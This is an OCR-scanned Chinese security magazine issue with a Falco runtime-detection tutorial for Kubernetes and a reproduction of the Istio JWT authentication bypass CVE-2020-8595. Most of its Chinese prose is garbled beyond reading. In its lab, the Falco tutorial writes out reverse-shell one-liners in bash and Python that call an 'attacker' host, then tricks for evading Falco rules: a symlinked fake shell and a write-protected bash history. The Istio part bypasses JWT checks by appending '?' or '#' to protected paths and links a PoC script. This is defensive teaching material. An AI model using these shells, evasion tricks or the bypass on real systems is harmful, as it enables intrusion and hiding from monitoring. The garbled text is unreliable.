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WEARLBANLZSREE SN
SOAR,

BN R 2 RmASI BTN
REER2RR. RIRBEEDIEEM
2. LERPBLLH, BEREE
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7% Sysdig Falco:
BHFIR THEETAENIA

REES

HE

BERBEANGE, BRETHNNLZEBITERAZHXINES, T&
TEMRIR ERWSK, WRINEDERRIMBRIMEABN R M HITEE
MAE, BERBTEFRTHENN 2R FPASTIE SR,

FalcoR—RN=RETFERTHHERETARNIER, FHEANRSAT
FREM Kubernetesi It HE, SHMTEMBLLERRENE, EBEFIRRR
FHEABIMEZE@mERE. AXHEBIR MR KRR FalcorHFt,

1. Falcof&@7y

1.1 ft4ZFalco?

Falco@—®MASysdigh RN HER BT NN IR, TEEREBRNE
SENLEWNBRER, HEBKIRSBRENRTE (FTBEK
Mesos) o

EREBREMNE S MRS EARINHEET . Fli:

® ERBFBNT —shell

* EIRSHRCIR T — M FER AN 7=

* /etc/shadowai%RZiiE

¢ /devER IR T —MREENXH

¢ [sZENERNRGETEMIMNT T XIINNEIEE

gy, HIRB] LU M= IRE RSB 1T . Bildl:

¢ QIETHERNER. BHBURRBREIERA T B ENMENPod

ubernetesi
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® HAFETAEEMNE (Flicluster-admin)

¢ B2 T HEERE ERIconfigmap

WL, FalcoSEHNFENZ2RIETEBMTARNER?

FalcoXZMRH FIRESysdigNZERRIBHNRAEAEMHR, SAFPST
BBEIENRERR S AL BHAGERR, TRENZE —MEL R
WITINEE;

STEENZEETRAERER. WREMEENTEAEL, FalcoBEiE
ITERF T, (UXEBRIZESRREHIE, FalcolMNEEMEFE LEE
RRE;

SHMBETFAEAZENRHEA TEEONIEMAL, FalccBBIFES
FEFNIEE (A LUS SELINUXBIFLNIE AXT L) FIXS = IRER 235,

FalcoRACHHBERE, BTRETFENEEMHAN FERED) .
HitbeEBIFE FEM S EM T ANETIIF,

1.2 25

EHNAT A, BMEBLE—D “WEC WA, UEEEII—1XT
FalcoBYE 1A R0

RIEK, FalcoZ2—METHMNMHERBITHRNIE, EEAZHEN
EHRBEMH:

¢ SysdigiZigir

¢ Kubernetes&1THiE

HrR, SysdigNiZIRBIBMEM BB MBIV LNINRABAREHES, 2
Falcotk Az O EHRo

596, FalcoZFFAMiat HERNHT:

* BRIt ERE

& AR

¢ HHZEISyslog

& BHEEHTTPARS

& HEEHEMER (HOTEEAT)

BE—ENZE, EEMMAABERITEBESZRKFalcosEMAMFTUE
ZREASIER,

TERT T EHEALRM:
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Faco w7 9 A

HTTPERSS

ATt

- »

SysdigFF 5

SysdigFaiE e

Hr1, REERNFalcoERIX
BRAEMHR, SFBRRNERIX
s, BERREIFalcoA
JRFSYES =2

1.3 TERIE

Falcos¥ FBZE{MFiptablesBIFA NI
LEAARLNEE, ©EEF T —0
FINISZ ¥ fetc/falco/falco_rules.yaml
HER, MM TUSEIENXNE
MU HAE Jete/falco/falco_rules.local.
yam{SZ A,

ENRERNREZEZEWA.
AGIBRAAG: SysdighiziEirg
SI#E, AASBFalcoizfT AR
FR A ECE SRS %]
NS E, —BEHEMT R4t
TR, AR EREIORIEA,
FIFAE E% AFalco, FalcoXyiX
LE RN TED, WRHEMURE
BUNEFNAINBEEE, LR
TERIZR LA T EAVRIZERT:
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1.4 M FT4R
FalcoRVFLMIBEA YAML #3R, —DHINISZH (U0 /etc/falco/falco_rules.
yaml) B1& ==
* L XERNEXSCEEHNELRER, E2—L “HEFHH
%", B AENANEEZEFERS
¢ JIXK: BInERES, SEBRAN. ZRaEHMIREA
MBER LR, BRFHRAT. JIERME—EMAN, M Z2&EERER
FalcoARA BT E—1T NS R T BIRBAT o
—FMUNZE DRI HFIGAL: MUE. F4 BEAXF. "EEENN
et
TEE— NG
- rule: Terminal shell in container # #NI % : AR IR—FE ZHIZAFR
desc: A shell was used as the entrypoint/exec point into a container with an
attached terminal. # FERSCTF : XTHLNAYIFEH 5 PR
condition: > # 4 FARIMESGHLTIRFAT (FalcosX A Sysdighhid jgiE
%)
spawned_process and container
and shell_procs and proc.tty I=0
and container_entrypoint
output: > #IHER: SANITENEGHLLEN, MENGEER
A shell was spawned in a container with an attached terminal (user=%user.
name %container.info
shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline
terminal=%proc.tty container_id=%container.id image=%container.iimage.
repository)
priority: NOTICE # fL5tdh: RTZBHTERE, B2—HEDT, MEEENA
['emergency’, alert’, ‘critical’, "error’, 'warning’, ‘notice’, 'informational’, 'debug]
tags: [container, shell, mitre_execution]
EXLEI0), —FAMNNZOE “FH , BRET —PMNEHESNIZRAAFE
BTN, HEE/LTH, HITBEMITRADT—LEMAN.
BEFANERIESEE X,
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2 BBEFHE

Falcofe B BRI EEME N L, BEBLURSBHAILE, EELL
DaemonSet&BEEKubernetes& 1,

EXE, FLHFEIDaemonSet 5 T 7EKubernetess8f EEBZE Falcoly
0iE, HMEER A USEE R X,

2.1 RERIZKX G

HIEIRE), Falcofk®FSysdighiziRiR, Hlth, FMFEEEKubernetestE
BREIT R LRIt

sudo apt-get install linux-headers-S(uname -r)

(F: ZZBKubernetesMiEIFIET REAUbuntuZRSs, EMLiInux&k1Thx
RS < 2R, )

2.2 gEKubernetes%i&

REURIZ O

git clone https://github.com/falcosecurity/falco/

cd falco/integrations/k8s-using-daemonset

BlliZserviceaccountH R N ERIRABCAR :

kubectl apply -f k8s-with-rbac/falco-account.yaml

tliZFalcofRss (WRAFEEKubernetesEmITHEMFERNEHIR, oI LABKSITL
B

kubectl apply -f k8s-with-rbac/falco-service.yaml

BlEConfigMapkzfiFalcolNELE, XF—RIANBMEEREE DT EH
2. BfFEpods:

mkdir -p k8s-with-rbac/falco-config

N

cp ../../falco.yaml k8s-with-rbac/falco-config/

cp ../../rules/falco_rules” k8s-with-rbac/falco-config/

cp ../../rules/k8s_audit_rules.yaml k8s-with-rbac/falco-config/

kubectl create configmap falco-config --from-file=k8s-with-rbac/falco-config
Bl#ZDaemonSet:

kubectl apply -f k8s-with-rbac/falco-daemonset-configmap.yaml
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2.3 Mk
FREXpod H7E:

kubectl logs -l app=falco-example

HEERFalcoBAEIERIETT:
*Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
Thu Sep 19 02:09:44 2019: Falco initialized with configuration file /etc/falco/falco.
yaml
Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/falco_rules.yaml:
Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/falco_rules.local.
yaml:
Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/k8s_audit_rules.
yaml:
Thu Sep 19 02:09:45 2019: Starting internal webserver, listening on port 8765
02:09:45.241612000: Notice Privileged container started (user=root
command=container:0b07c858a9a0 k8s.ns=default k8s.pod=falco-daemonset-
hgbp9 container=0b07c85829a0 image=falcosecurity/falco:0.17.0) k8s.ns=default
k8s.pod=falco-daemonset-hgbp9 container=0b07c858a9a0

3. “Hello,world” zZi&M=EzZALIZEShell

EELETERG, FalcoB ARt 7 —MNIALBIFINIS - Jetc/falco/falco_rules.
vaml HEAVER. XBEHIMER—1 B 2HERKEKRFalcorIThEE: BT

&I—"shell, FalcofME X MNEREI TN,

3.1k
MR IR 1B 2E M1 S 8Kubernetes, FalcollDaemonSetfE= 2E 7T
tm:

ubuntufmaster-171:~% kubectl get pods -0 wide
NAME READY  STATUS RESTARTS AG NODE NOMINAT
ED NODE READIMNESS GATES

falco-daemonset-TTgct 1/1 Running a 28 master-171

falco-daemonset-dgsmt 1/1 Running a 28 slave-172
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B, BAIEEEIE NMalco pod £ (XBH(NEZEEImasterm 2 8
pod) :

kubectl attach falco-daemonset-77gct

MasterT = FEAEEEEIT 7 —ubuntuBes, IERN=HEX SRR
FTF—"shell:

docker exec -it b769 /bin/bash

MNTEFEIUES, EsheldTHBIERN, falcoftat TEHERTR:

ubun tu@s r-171:~% kubectl attach falco-daemonset-77gct
Defaulting container name to falco.
{ -n default' to see all of the containers in this pod.
p ing enter.
d in a container with an attached t
769d5606d87 shell sh parent=runc cmad
7 image=ubuntu) k8s.ns=<NA> kB8s.pod=<NA> con

ps | grep ubuntu
“/bin/bash” About a minu
keen_shannon
/bin/bash

3.2 53 4R
NH, FNRE—BEX—TIRNARER:
BEtM Jetc/falco/falco_rules.yaml Rk B fig & BIRQTIFLN ;
-rule: Terminal shell in container
desc: A shell was used as the entrypoint/exec point into a container with an
attached terminal.
condition: >
spawned_process and container
and shell_procs and proc.tty 1= 0
and container_entrypoint
output: >
A shell was spawned in a container with an attached terminal (user=%user.
name %container.info
shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline
terminal=%proc.tty container_id=%container.id image=%container.image.
repository)
priority: NOTICE
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tags: [container, shell, mitre_execution]
condition: >

spawned_process and container

and shell_procs and proc.tty I=0

and container_entrypoint

Hr, spawned_process. container Al shell_procs & container_
entrypoint @Mz, BB RILLITE Jetc/falco/falco_rulesyaml IR EIEA]:
- list: shell_binaries
items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]

- macro: spawned_process
condition: evt.type = execve and evt.dir=<
- macro: container
condition: (container.id I= host)
- macro: shell_procs
condition: proc.name in (shell_binaries)
- macro: container_entrypoint
condition: (not proc.pname exists or proc.pname in (runc:[0:PARENT],
runc:[1:CHILD], runc, docker-runc, exe))

e ERER, HTAILLRZAN “BhE” NIN™ES:

MR—PEMIER “TESRF Boi7— SR, #HIEEE Bl
shel &M , D “BRum BAGHN “BRAOHRE" , PBAZEHRAE
AnoticeZkB| NIRRT, —MEEREE Lo

B, BINSIXF—EEER:
03:04:49.103073119: Notice A shell was spawned in a container with an attached
terminal (user=root k8s.ns=<NA> k8s.pod=<NA> container=b769d5606d87
shell=bash parent=runc cmdline=bash terminal=34817 container_
id=b769d5606d87 image=ubuntu) k8s.ns=<NA> k8s.pod=<NA> container=
b769d5606d87
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4. “Hello,world”

23R Shell

T AP ERE, £E
NHEFTXMERNT R, FEES
BB XHZ= MRZEFalco, MMM
BIFAZENRB ST,

BMFE, BRNKREEEIMN
WebARSNF: WEHE B L ESH
B8, HTEME, AREEEN
I EEEFEZEE | Webshell, ##
EBEESF BWebshel R 3@ —1E
FRYshell (BREMEHAMBGAETE
FHAEEAEY, RoEshelELL T
shell M ES) 28 THIRIH
23, REFNAXshel HITINRIR
Fro EEEE. HInESRIEIE
EEEEMERRYER.

Rk, “REEshell” FHETE
PR EIEFEIIFEEENIER,
AL, FalcorBd AR & #shell
feaval =Y

FE—TH, FalcollEBHMME
KB N B BRHNDHERIT
shell VB e HRFMRFBEXTZM
MY At — =285, FLEEMSSLILAS
THER:
condition: >

spawned_process and container
and shell_procs and proc.tty =0

BARME, WIMRAER Jetc/
falco/falco_rules.yaml YE9FL ST

W 22 A1R / 20207

1, BEMETEAR “Terminal shell in container” X—MEY “shel IATIE
NAERBNOHE” B

4.1 F—Mi

et — 1!

AT HEEE, ATHINRAEEEmMaster E2E T TRalcopI S 3K
ITRFBR=1"2mE:

ubuntuBmaster-177:-% nce

Hrh, AT Aefalcois, ARIEmaster LizfTfalco; LEARBIRvictim
K, AR EHE R REshellIRIF; £ T 7 Rattacker&ism, AR
0 & 3EshelliE Ko

B, Bflzattacker&igHITEE0NT:

ncat -1 -p 10000

fEfalco& /B Thia i -

falco

BE, EvicimZime) 2% Anx #Eshell:

bash -i>& /dev/tcp/attacker/10000 0>&1

W E T attackerR IR IHIRIS T R Eshell, 78, falcoRimzat 7™

S
O
4



bash ¢

=i
& NI ARG R/ AR T NERE
¢ NEIEEAITE T —Pshell

e

4.2 F—REd
9T, BEFREBIFalcoRi N R EshellE/DZERITTRY. A, WEEZSEE
50 EERRINIE?
AR — B
F—NEEEES-THREHIY, BBEEET /etc/falco/falco_rules.
yaml FRBIRLN 4 plAY :
- rule: System procs network activity
desc: any network activity performed by system binaries that are not expected
to send or receive any network traffic
condition: >
(fd.sockfamily = ip and (system_procs or proc.name in (shell_binaries)))
and (inbound_outbound)
and not proc.name in (systemd, hostid, id)
and not login_doing_dns_lookup

output: >
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Known system binary sent/received network traffic
(user=%user.name command=%proc.cmdline connection=%fd.name
container_id=%container.id image=%container.image.repository)
priority: NOTICE
tags: [network, mitre_exfiltration]
MERBAMYIRIO T :
- macro: system_procs
condition: proc.name in (coreutils_binaries, user_mgmt_binaries)
- list: shell_binaries
items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]
- macro: inbound_outbound
condition: >
(((evt.typein (accept,listen,connect) and evt.dir=<)) or
(fd.typechar =4 or fd.typechar = 6) and
(fd.ip 1="0.0.0.0" and fd.net 1= "127.0.0.0/8") and
(evt.rawres >=0 or evt.res = EINPROGRESS))
- list: coreutils_binaries
items: [
truncate, shalsum, numfmt, fmt, fold, unig, cut, who,
groups, csplit, sort, expand, printf, printenv, unlink, tee, chcon, stat,
basename, split, nice, "yes', whoami, sha224sum, hostid, users, stdbuf,
base64, unexpand, cksum, od, paste, nproc, pathchk, sha256sum, wc, test,
comm, arch, du, factor, sha512sum, md5sum, tr, runcon, env, dirname,
tsort, join, shuf, install, logname, pinky, nohup, expr, pr, tty, timeout,
tail, "[", seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
tac, link, chroot, vdir, chown, touch, Is, dd, uname, "true’, pwd, date,
chgrp, chmod, mktemp, cat, mknod, sync, In, "false”, rm, mv, cp, echo,
readlink, sleep, stty, mkdir, df, dir, rmdir, touch
]
- list: user_mgmt_binaries
items: [login_binaries, passwd_binaries, shadowutils_binaries]

- list: login_binaries
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items: [
login, systemd, " (systemd) "', systemd-logind, su,
nologin, faillog, lastlog, newgrp, sg
]
- list: passwd_binaries
items: [
shadowconfig, grpck, pwuncony, grpconv, pwck,
groupmod, vipw, pwconv, useradd, newusers, cppw, chpasswd, usermod,
groupadd, groupdel, grpunconv, chgpasswd, userdel, chage, chsh,
gpasswd, chfn, expiry, passwd, vigr, cpgr, adduser, addgroup, deluser, delgroup
]
- list: shadowutils_binaries
items: [
chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
groupadd, groupdel, addgroup, delgroup, groupmems, groupmod, grpck,
grpconv, grpuncony,
newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw,
unix_chkpwd
]
FABZRERN, B—FANNEFHPLLRBZ R SZ (system_procs
or proc.name in (shell_binaries)))o A1 LU EEVTIRIBEARA S, A
MREBEIE—FAN, RREXF—MAERZE LR IRIR, FIaER
PythonR& 17 [ shell:
python -¢ 'import socket,subprocess,os;s=socket.socket(socket. AF_INET,socket.
SOCK_STREAM);s.connect(("attacker”,10000));0s.dup2(s.fileno(),0); os.dup2(s.
fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

4.3 R

W7 Bk, WMEEBRREG Tshell, AILUEER, FEHRBE—FXT
shellB97:
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4.4 F s

BA, WASIE T NEER? BREXEDN, RINIEEERRLR
Z5MshellBIE] (EEAIPYthonfUASSEBT EIEAE T /bin/sh) o ZAM, FRSCH
Hishell7|FREZ S TshelBRE & A 71 [ash, bash, csh, ksh, sh, tesh, zsh,
dash], BBEBEHE—1PEHMBAshel, TXKBZ. Hit, HINEERFINTE. F
M, AR S A Ishel i & (B@ A P AR EEEERE L /bin/sh
X, B, AT BRI RER MRS BEE R T AMERNE TR LHLEL
2, BEXEXFHWRAITH:

[n -s /bin/bash /tmp/fake_bash

BETEBI R a#shellFEY/bin/shE& ks :
python -¢ 'import socket,subprocess,os;s=socket.socket(socket. AF_INET,socket.
SOCK_STREAM);s.connect(("attacker”,10000));0s.dup2(s.fileno(),0); os.dup2(s.
fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/tmp/fake_bash","-i"]);

4.5 F=03K
T ERSS, WEENTFE Tshell:), mHEX RFalcoRBFMESE:
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4.6 & [R2EETE

BARAE L ERRSEEMSERME, BRMNRNASHI: SWEET
[25gshellFHITIT ep AR HBY, HaEishell=BEnhMA ~/.bash_history XHEE N
PITENSRHELIRR, XMRERFRMEASE:
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BNVE—TREA, BEEM Jfetc/falco/falco_rulesyaml ST EIFERZFLNI :
- rule: Modify Shell Configuration File
desc: Detect attempt to modify shell configuration files
condition: >
open_write and
(fd.filename in (shell_config_filenames) or
fd.name in (shell_config_files) or
fd.directory in (shell_config_directories)) and
not proc.name in (shell_binaries)
output: >
a shell configuration file has been modified (user=%user.name
command=%proc.cmdline file=%fd.name container_id=%container.id
image=%container.image.repository)
priority:
WARNING

tag: [file, mitre_persistence]

PHEEEHS2, RMNI-ELD
MNRZEMxR, RRABERS:
~/.bash_history —EE# E=MIshell
EEXHZ—o

me7TRRA, RINBBETERY
FE. —MIREIENARE, 8%
FREIB A BEXY ~/.bash_history
HHEAN:

chmod u-w ~/.bash_history

ST ER S, BEA LR
42 HBIPython+ERBE R 75 T 01 2 I o8
shell, BPMNIBELFTAHIRLEM

[==%"7-q
[
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5 . lE\gE

METERSEIF RGOS RE, AFFalcoBI BF MM HAR+ 0B, TR
¥R, JRMNREBDIFalcoBHMNABIEN, EBNT RAERIMELY
5, REXAMESHERAAPE. IER, HEFR THEARBBAEFENIN
INECES XM, UNEET Ze2firgaEsts] st tim. Am, FZXes5
BIEEREXEEMUNERNMTT. TIEZALHBIRAR, RERANIAKER
TERFNEFMETR, ReETERMSEMRAZSMRNIFREXWIE. P
I, A BREIERMARIEFA.

I, EBEINA, (FA—MERTRMEREN “TRE" B “REBEBRRs"
SREETHUNTE, FalcolRf TREANGHRFRESMHFY, XBE%.

WA, HAVPLRIBRGEF M ENTREMEEE S AR,
EMNEERSOT, EEMEN BB EEANLE, XFFHR NN
HRBN “TEBE” BRE, METHEIPNHY, EREE— .

HB¥F, —PERBERENRIFVGEIE, KFalcofFNRERBEMHR, TH
EVASERNEEEE—E “BRE" NRERNRST. XFBIRIEEEM
REFFFRITHFEEESERNRGTH, BESTHIPNHRL: £XEDER
T, BNIF2EALERWRE, 28N SF1FRRNE,

6. SE Xk

FalcoB A 1Y

SELinux, Seccomp, Sysdig Falco, and you: A technical discussion

7. AR5

How to identify malicious IP activity using Falco
How to detect Kubernetes vulnerability CVE-2019-11246 using Falco.
High Interaction Honeypots with Sysdig and Falco

20207 | 2428 @



CVE-2020-8595 — Istio KiZHUG )R R

B

T *&ﬁ

FESAME, LlstioNF&RMService MeshBy It R E H & BIZ2 1% 1 &
NRAMFER X FRRREE T —H#IffRE, BATEA LEHEAHETECH
Service Meshi&#th 75 = H T L~ IMEREREITTT. Service Mesh MY B] AR L2
AT EIREFERANBE=ENHPR (RREERENARFAESNASEERS
£Ha) , WEESIRSEEUE B CNEMIMRILIH TIEH, TARAA
RHSRX L W RERT, Istiol L 2RI B I, FEMANIFFERIN, HR
SHTRBERPIFDIRZHNRS, B IRSEBREHOEFRIAERN, X
LR RIS I T R 2B E, IstiotTE AE—A MBS MEL%EE =Tk
BROFIPRE (CVE-2019-12243. CVE-2019-12995. CVE-2019-14993) [12], E
FACVE-2019-12995MCVE-2019-1499389 5 IstioFNIWTHLGIMER, BRBEHEEIUT
STIWTIEERE, E5E2H4H, HAspen MeshABEIH—2 R T LA WFHIEHIstio
BYIWTIAIEAN G ER R IR AR S5 B R AR P IBug, FHERLL4ER 7CVE, CVSS
MR I CVER LT 99.0(6], AILICREZ 8. AXEEZHLUIWTE
AR R, BRGEIFTNE, FHMEREstioryIWTIAIENSI S X A RIER
ZHr, REEETSRIIERCVE-2020-8595 /IR EHR, IR K ARK10-159

™, HERGEANRETHRIER,

— =1
—+ BX=

JSON Web Token (JWT) RN T 1E ML BIF 5L B AR MHMITH —
METISONB AT E. IWTHZEBRISRITHBEINERRS SR, T IA
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IEPIE, SR —RRRARIRIUN RS iR 7 fifsession, & ImEdARS imIREIRY
session_id (Blcookie) SRFIHHITEMBIEMMSMABR S, XMHERI
HEIFENRART BEAT, BLEREA, BEDMAERENREREEK
sessionFIFHZRY. 2 MIIFRIEA, A WIEH B MISZ R —R QBRI KEAR
%5, NAEEXR, ARREFER—TNIEER, BHRZ—1TWNEms BoE
F, —MEERDERFKAsessionFEIEF AL, SALIEE, SRSWEIBENR
NEEFARBERYE, XMANRRE2LEER, ZINT—HIREEELSE
FRERKWEE, Hib—ihHEERERMIERFEE, G, RIETRFHE
T, BREREL ARSI, JWTRLEXMHAEN— MR,
IWTHRIBHRGF IR, RSBINEZERRE—NjsonWRHFLELE
Fis, XEER5RSIHEENEELULjson RIFNFIEERID, SAERE
R (BRI json#lE#TERN) , RSIHEMjsoNT R =N _EF
2, BIRSH A RFsessionT, BERNTRS, A2 T ST EIVE[,
IstioZ2A R B IWTIMIEEZ AR T IWKS (JSON Web Key Set) , JWKSZE—

PEPES, HPEEATRIEIWTHAE, fEistoRIWTINEREREEESE
E—"PyamXHRI, ATETER, UTE— T ERIWOANEREEE3]:

issuer: https://example.com

jwksUri: https://example.com/.well-known/jwks.json

triggerRules:

- excludedPaths:

- exact: /status/version

includedPaths:
- prefix: /status/

Hrh(4]:

issuer: REREMBIWTHIEITE;

jwksUri: FREXJWKSEYHIEE, BFRIFJWTHIER, jwksUrin] LUIZIEARSS
ssHib o] DITE A HitnE, ERSEENEESurl, AMSFTERERSHER
S

triggerRules (EE) : ILEZHEB NIstioEAIWTRIEE KAV AL F N5
=, WRFBRLEMVSHITIWTIRIE, LEEEERS IR L, 5
PAIZFERE T LM, DL EZHEtriggerRulesEinNEB XN FEATE “/
status/” BUZHNERKERTR, &1 /status/versionAdh, EEZFIJWTIAE AR
JE R T MtriggerRuleslf] L

K TFtriggerRulesfe B iFHANAT] LIS E https://istio.io/docs/reference/
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config/security/istio.authentication.vlalphal/

=. iRTReA

K FCVE-2020-8595]%:, IstioRIE 75 ARAA(6];

A buginIstio” s Authentication Policy exact path matching logic allows
unauthorized access to resources without a valid JWT token. This bug affects
all versions of Istio that support JWT Authentication Policy with path based
triggeRules. The logic for the exact path match in the Istio JWT filter includes
query strings or fragments instead of stripping them off before matching. This
means attackers can bypass the JWT validation by appending ? or # characters
after the protected paths.

BT LLED BB EIstio IWTHREEEZEFMtriggeRulestlHl,
triggeRulesB1 & ERurlVFRIBILECALE], FEHLUNEHM:

FH wR ik wmE

axact Fid () 2R 2

prefix FH®E (=) FUEH LA 7

suffix FHE (2—) BHEER 2

regex FHB (=) U2 (s EDCA-262 25 ECMAscript SR AY LE I -3
BC)

El1 triggeRulesF TSR ILAD R

fexact) BRHEXXFRANFERMAE, ERETT2LENFTRES RILL
HEER, MEelERVEFE2ESurlaEFIRENSE (77 ) MUK
fragments A ('#") , MARTELREZARE 77 M 4" BENRBHTH
B, XENTETER, 2—1BRurlflF%8E, WTFxR:

foo://example.com:8042/over/there?name=ferret#nose:
AV Y A\ PR A
| I | | |

scheme authority path query fragment

E2 =EurlRnEE

triggeRulesexactULEERIAARLN E “/over/there?name=ferret#tnose” , T
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2 “Jover/there” , IstioBIJWTINIEZERETIES triggeRulesBt RZE [&F] 1 path
85y, MEET queryMfragmentdfs, MM EE A LUBI TR RIFPHpath/a
A7 B W TS MTARIRIER. UWT) JA18). LUstioBIJWTIAIES
BEEPIE AR Z IR, WTFTR:

EEJWT R EARAIAEREI T
apiVersion: "authentication.istio.io/vlalphal”
kind: "Policy”

metadata:

name: "jwt-example”

namespace: istio-system

spec:
targets:
- name: istio-ingressgateway #& Z7E Istiof X N AL EBE IWTIAIE SRS
origins:
- jwt:

issuer: "testing@secure.istio.io” #JWT A&
jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/
security/tools/jwt/samples/jwks.json” #HF I JWTHIJWKSETEURL
trigger_rules: #JWTIGIETE RVt & HL 512
-included_paths: #{ER R BRI B & LU T EREMUA FEZIWTIAIE
- exact: /productpage ##E8&1E 5 productpagestelLEcfm, A ALk
IBproductpagefRs (FBIWTIAE, &EBRIWTLEID)

MAEERE—1T, WRexactBurlA “/productpage?a=1" ZE&E “/
productpage?b=1#go” , ABLIZIRILECRN, AR EN ZEEME

https://example.com//productpage?a=1 zhttps://example.com/
productpage?b=1#go”

BT XM urlEB T “/productpage” BREE N, ASARZZEITIWTEMIA
IEEARILAR, BENRSmIstoSBMErhir, KqueryEBHMfragmentEis
Spath## 72208 7T, AR “/productpage?’a=1" FETF “/productpage” X
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“Ppath, FERINAERERINIWTERESPR AT EHITIAE, MM EE R LUE
WEpathi@ail “#” 8¢ 7" BrGad IWTINE# TARENI 0l

M. SSI8I83iE

4.131F18

Istiohfe4s: v1.4.2

Kuberneteshii4<: v1.16.2

8. nodel (Master) /node2 (Slave)
BER%: Ubuntu 18.04

4.2 H&/TIE
4.2.1 8 foo MR =|a]

kubectl create ns foo

4.2.2 8l httpbin RS
httpbin.yaml 7Eistio/istio-1.4.2/samples/httpbinE& 2 (5]
kubectl apply -f <(istioctl kube-inject -f httpbin.yaml) -n foo

4.2.3 gl httpbin gateway
#6//#2httpbin gateway

kubectl apply -f - <<EOF

apiVersion: networking.istio.io/vlalpha3
kind: Gateway

metadata:

name: httpbin-gateway

namespace: foo
spec:

selector:

istio: ingressgateway # use Istio default gateway implementation

servers:

- port:

€Y 22A81R /20207
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number: 80
name: http
protocol: HTTP

hosts:

[

EOF

4.2.4 82 httpbin R
#ETingress gateway R httpbiniR S E BT INEB I 9]
kubectl apply -f - <<EOF
apiVersion: networking.istio.io/vlalpha3
kind: VirtualService
metadata:
name: httpbin
namespace: foo
spec:
hosts:
gateways:
- httpbin-gateway
http:
- route:
- destination:
port:
number: 8000
host: httpbin.foo.svc.cluster.local

EOF

4.2.5 3¢ httpbin fRZEPE JWT FEBE

cat <<kOF | kubectl apply -n foo -f -
apiVersion: "authentication.istio.io/vlalphal”
kind: "Policy”

metadata:

name: "jwt-example”
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spec:
targets:
- name: httpbin
origins:
- jwt:
issuer: "testing@secure.istio.io”
jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/
security/tools/jwt/samples/jwks.json”
trigger_rules:
-included_paths:
- exact: /ip
principalBinding: USE_ORIGIN
EOF

4.2.6 EEMRTE

export INGRESS_HOST=http://192.168.19.11:31380

431728
B RAIAE— N RINJWTIERurl path “/user-agent”

root@node2:~# curl -v SINGRESS_HOST/user-agent
* Trying 192.168.19.11...

*TCP_NODELAY set

* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)
>GET Juser-agent HTTP/1.1

>Host: 192.168.19.11:31380

> User-Agent: curl/7.58.0

> Accept: */*

>

<HTTP/1.1 200 OK

<server: istio-envoy

<date: Thu, 05Mar202006:47:22 GMT

< content-type: application/json

€ 2281R / 20207
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<content-length: 34
<access-control-allow-origin: *

< access-control-allow-credentials: true
< Xx-envoy-upstream-service-time: 7

<

{

"user-agent”: "curl/7.58.0"

}

BB ENRER0CKAS, 50]aLH!

BEBIBRIMN T IWTIAERurl path /ip"™:

Origin authentication failed.root@node2:~# curl -v SINGRESS_HOST/ip

*Trying 192.168.19.11...

*TCP_NODELAY set

* Connected t0 192.168.19.11 (192.168.19.11) port 31380 (#0)

>GET /ip HTTP/1.1

>Host: 192.168.19.11:31380

> User-Agent: curl/7.58.0

> Accept: */*

>

<HTTP/1.1401 Unauthorized

<content-length: 29

< content-type: text/plain

<date: Thu, 05Mar 2020 06:49:37 GMT

<server: istio-envoy

<x-envoy-upstream-service-time: 0

B IEEIARSS ®miR[E1401 UnauthorizediB421517], BRERHFEINEFEN, IE
BRERBR AN T o

FAVEFIAHBIIWTINE FBpath + query(@id7AmM ? “F1S)

root@node2:~# curl -v SINGRESS_HOST/ip?a=1

*Trying 192.168.19.11...
*TCP_NODELAY set
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* Connected t0 192.168.19.11 (192.168.19.11) port 31380 (#0)
>GET /ip?a=1HTTP/1.1

>Host: 192.168.19.11:31380

> User-Agent: curl/7.58.0

> Accept: */*

>

<HTTP/1.1 200 OK

<server: istio-envoy

<date: Thu, 05Mar2020 06:53:00 GMT
< content-type: application/json

< content-length: 29

< access-control-allow-origin: *

< access-control-allow-credentials: true
< Xx-envoy-upstream-service-time: 5

<

{

“origin”: "10.244.0.0"

}

B B ENR[EIAN200K85H, B REZIWTHIINIE B LA B)ipiX P path
THRE, MMmTesde

BIETEUEAIN 4 fFSthsemsad.

4.4 353iEPoC

EETM LB —1PoCRI LURIELIRE, LA HGoogle IstioHRA
Francois Pesce $21£[9]:

https://gist.githubusercontent.com/nrjpoddar/62114128d12478abe836640
4bf547b77/raw/1475213902932cc157f49fc0584b8f231e887394 /check.sh[11]

SAEveE Sl

root@node2:/home/puming/test# ./test_istio_jwt_cve.sh istio/
proxyv2:1.4.2

/home/puming/test/cve-2020-8595VzZWOMi /home/puming/test

Jtest_istio_jwt_cve.sh: line 260: warning: here-document at line 148
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delimited by end-of-file (wanted " EOF)
Sleeping for 5 seconds so the docker container is up and running
[CVE-2020-8595] Vulnerable
3d74c863fdb819f2bcabb8334b1e8f4fdd56c9d0908918ef4f900131fb21c814
/home/puming/test
HSS Pl LUERRZEE BV IstioMR A, ReXBaNIREPILIE =1,

4.5 iRiRF A
AERNNPRFEE2EREEEI AR, B RRNBE IR PE

FH—EEM, EEREBEY —MERXRRALRENEIFEM, EistioIf 1R
R, £EHET —PNETdjangoEZRBIWeb A, thWebi BRNFEREZEO
(SINGRESS_HOST/apps) BIARIEAN 0)FMR LA Z IR G S 2 EUKE SR,
B EEAI)
curl -v SINGRESS_HOST/apps?manifest=com.canonical.ubuntu.desktop
curl -v SINGRESS_HOST/apps?manifest=com.mozilla.mozdef 5] LU RIS
BAER, WHFR:

mamfart: " con moz s snde .
e
msthor  ——
P
compony TN .
boos “com mozalls monded, py”,
e
ok ot T —. (5 b . "
gt " con, cuns al, bt s vl "1,
Tt S, wreated
mthor mars ] e
] ————— e e
ey T imtrodect i
L i S O e S 0 TR
e puch .
ok enl . cawnd cal b ¥ :::I"'_-'-"?
BT - 8,
raning pp_plstfam
